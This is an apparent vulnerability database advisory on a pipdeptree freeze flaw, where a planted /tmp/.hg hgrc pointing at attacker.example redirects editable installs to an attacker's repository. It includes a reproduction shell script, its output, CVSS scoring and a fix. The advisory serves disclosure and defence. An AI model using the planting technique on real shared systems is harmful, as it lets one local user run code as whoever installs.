
Cloud Vulnerability DB
A community-led vulnerabilities database
For --freeze (-o freeze), pipdeptree finds the Mercurial, Subversion or Bazaar checkout of an editable install by
walking up from the install's folder to the first .hg, .svn or .bzr it sees, and takes the remote URL and commit
from it. It never checks who owns that marker. Another local account can create /tmp/.hg with a [paths] default of
its choosing, and every editable project below /tmp without a checkout of its own then freezes as
-e hg+https://attacker.example/repo@<commit>#egg=.... Installing from that freeze output fetches the attacker's code.
Mercurial itself refuses that hgrc as untrusted; pipdeptree reads it directly. Anthropic's OSS Scanner reported this as
ANT-2026-1HUVEFTO on 2026-11-23.
Freeze output (--freeze, -o freeze) for editable installs, on Unix.
A .hg (or .svn, .bzr) directory created by another local account in a shared directory above the editable
project, such as /tmp/.hg/hgrc with [paths] default = https://attacker.example/repo.
At 4.2.16 (70dcc3e):
marker_root returns the first folder whose marker existsdefault_path reads that checkout's .hg/hgrc directly,
without Mercurial's trusted-owner checkdirect_url.json, "editable": true). For freeze, pipdeptree asks
each VCS backend for the checkout containing that folder.marker_root, which climbs from the folder towards / and stops at the first
.hg, .svn or .bzr that exists, whoever created it.default_path parses .hg/hgrc itself and the commit comes from the checkout, so the planted remote and
commit become the freeze line. hg showconfig in the same folder refuses the file: not trusting file /tmp/.hg/hgrc from untrusted user nobody.
The svn route goes through the same marker_root and lets the planted .svn reach svn info, which the separate
advisory for ANT-2026-0L409YKS covers. Out of scope: git refuses checkouts owned by others itself ("dubious
ownership"); Windows has no owner in std and is unchanged.hu.sh runs as root in a python:3.14 container (network off) with pipdeptree in /opt/venv and Mercurial installed.
It creates a victim project /tmp/victim-project (mode 0700) with an editable demo install, freezes it, lets
nobody run hg init in /tmp with an attacker hgrc, and freezes again as the victim and as root.
With pipdeptree 4.2.16:
--- before
# Editable install with no version control (demo==1.0)
-e /tmp/victim-project
drwxr-xr-x. 1 nobody nogroup 204 Dec 1 16:11 /tmp/.hg
--- after (victim)
-e hg+https://attacker.example/repo@17e3dbe36ee8e627f115defed69349489ca705fd#egg=demo&subdirectory=victim-project
--- hg showconfig as victim
not trusting file /tmp/.hg/hgrc from untrusted user nobody, group nogroup
not trusting file /tmp/.hg/hgrc from untrusted user nobody, group nogroup
rc=1
--- after (root)
-e hg+https://attacker.example/repo@17e3dbe36ee8e627f115defed69349489ca705fd#egg=demo&subdirectory=victim-projectWith the fix, both "after" runs print -e /tmp/victim-project with the no-version-control comment.
sequenceDiagram
participant M as other local user
participant V as victim
participant P as pipdeptree --freeze
participant I as pip install -r
M->>M: hg init /tmp, hgrc default = attacker.example/repo
V->>P: freeze env with editable /tmp/victim-project
activate P
rect rgb(255, 214, 214)
P->>P: marker_root climbs to /tmp/.hg (owner not checked)
P->>P: default_path reads /tmp/.hg/hgrc
end
P-->>V: -e hg+https://attacker.example/repo@...
deactivate P
V->>I: install from the freeze file
I->>I: clones and builds the attacker's repository
rect rgb(216, 243, 220)
P-->>P: fixed: marker counts only if owned by the project's owner or root
endhu.sh (run as root in a python:3.14 container with pipdeptree in /opt/venv and Mercurial on PATH)
#!/bin/sh
useradd -m victim
P=/tmp/victim-project; SP=$P/site
mkdir -p $SP/demo-1.0.dist-info
printf '[project]\nname="demo"\nversion="1.0"\n' > $P/pyproject.toml
printf 'Metadata-Version: 2.1\nName: demo\nVersion: 1.0\n' > $SP/demo-1.0.dist-info/METADATA
printf '{"url": "file:///tmp/victim-project", "dir_info": {"editable": true}}' > $SP/demo-1.0.dist-info/direct_url.json
chown -R victim: $P; chmod 700 $P
echo "--- before"
su victim -c "/opt/venv/bin/pipdeptree --path $SP -o freeze"
su nobody -s /bin/sh -c 'cd /tmp && hg init -q && echo x > f && HOME=/tmp hg commit -q --addremove f -u attacker -m tip && printf "[paths]\ndefault = https://attacker.example/repo\n" > .hg/hgrc'
ls -ld /tmp/.hg
echo "--- after (victim)"
su victim -c "/opt/venv/bin/pipdeptree --path $SP -o freeze"
echo "--- hg showconfig as victim"
su victim -c "cd $P && hg showconfig paths.default; echo rc=\$?"
echo "--- after (root)"
/opt/venv/bin/pipdeptree --path $SP -o freezeAnother local user decides the source that a freeze file points an editable project at, so whoever installs from that
file runs the attacker's build code. Reproduction is easy. Exposure is unlikely: the editable project must sit below a
world-writable directory with no checkout of its own, and someone must install from the freeze output.
Severity: 6.7 (Medium), CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H. AV:L, PR:L: a local account plants the
marker. AC:H: the project must sit below a shared directory without its own checkout. UI:R: the victim freezes and
installs from the output. C:H, I:H, A:H: the installed code runs as whoever installs. S:U.
pipdeptree 4.2.16 (identical Rust sources to main at
97fb19a), Mercurial in the
python:3.14 Debian image, Linux. The svn route exists since 2.33.0
(#552); the hg route since 4.2.11
(#791).
The fix accepts the nearest marker only when it belongs to the owner of the editable location or to root, or sits in a
folder only its owner or root can write to, and stops the search at a refused one; it covers the hg, svn and bzr backends at once.
Fix: https://github.com/tox-dev/pipdeptree/pull/923.
Keep editable projects out of world-writable directories, or check that no .hg, .svn or .bzr you did not create
exists in a directory above them before using freeze output.
Anthropic's OSS Scanner, ANT-2026-1HUVEFTO.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."